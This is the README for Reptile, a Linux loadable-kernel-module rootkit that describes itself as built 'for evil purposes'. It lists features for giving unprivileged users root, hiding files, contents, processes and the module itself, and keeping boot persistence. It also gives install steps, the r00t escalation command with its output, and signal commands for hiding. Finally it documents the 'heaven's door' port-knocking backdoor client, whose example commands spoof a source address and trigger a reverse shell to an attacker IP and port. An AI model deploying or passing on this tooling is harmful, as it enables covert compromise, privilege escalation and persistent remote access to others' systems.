Reptile - LKM Linux Rootkit

Reptile is a LKM rootkit for evil purposes. If you are searching stuff only for study purposes, see the demonstration codes.

Features

• Give root to unprivileged users
• Hide files and directories
• Hide files contents
• Hide processes
• Hide himself
• Boot persistence
• Heaven's door - A ICMP/UDP port-knocking backdoor
• Client to knock on heaven's door :D

Install

apt-get install linux-headers-$(uname -r)
https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
./installer.sh install

Usage
Binaries will be copied to /reptile folder, that will be hidden by Reptile.

Getting root privileges

hax@Debian:~$ id
uid=1000(hax) gid=1000(hax) grupos=1000(hax),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth),118(scanner)
hax@Debian:~$ /reptile/r00t
You got super powers!

root@Debian:/home/hax# id
uid=0(root) gid=0(root) groups=0(root)

Hiding

• Hide/unhide reptile module: kill -50 0
• Hide/unhide process: kill -49 <PID>
• Hide files contents: all content between the tags will be hidden

Example:

#<reptile> 
content to hide 
#</reptile>

Knocking on heaven's door
Heaven's door is a ICMP/UDP port-knocking backdoor used by Reptile. To access the backdoor you can use the client:

Knock Knock on Heaven's Door
Writen by: F0rb1dd3n

Usage: ./knock_on_heaven <args>

-x      protocol (ICMP/UDP)
-s      Source IP address (You can spoof)
-t      Target IP address
-p      Source Port
-q      Target Port
-d      Data to knock on backdoor: "<key> <reverse IP> <reverse Port>"
-l      Launch listener

[!] ICMP doesn't need ports

ICMP: ./knock_on_heaven -x icmp -s 192.168.0.2 -t 192.168.0.3 -d "F0rb1dd3n 192.168.0.4 4444" -l
UDP:  ./knock_on_heaven -x udp  -s 192.168.0.2 -t 192.168.0.3 -p 53 -q 53 -d "F0rb1dd3n 192.168.0.4 4444" -l

Disclaimer
Some functions of this module is based on another rootkits. Please see the references!

References

• “LKM HACKING”, The Hackers Choice (THC), 1999;
• https://github.com/m0nad/Diamorphine.git
• https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git
• https://github.com/maK-/maK_it-Linux-Rootkit
• “Abuse of the Linux Kernel for Fun and Profit”, Halflife, Phrack 50, 1997;
• https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/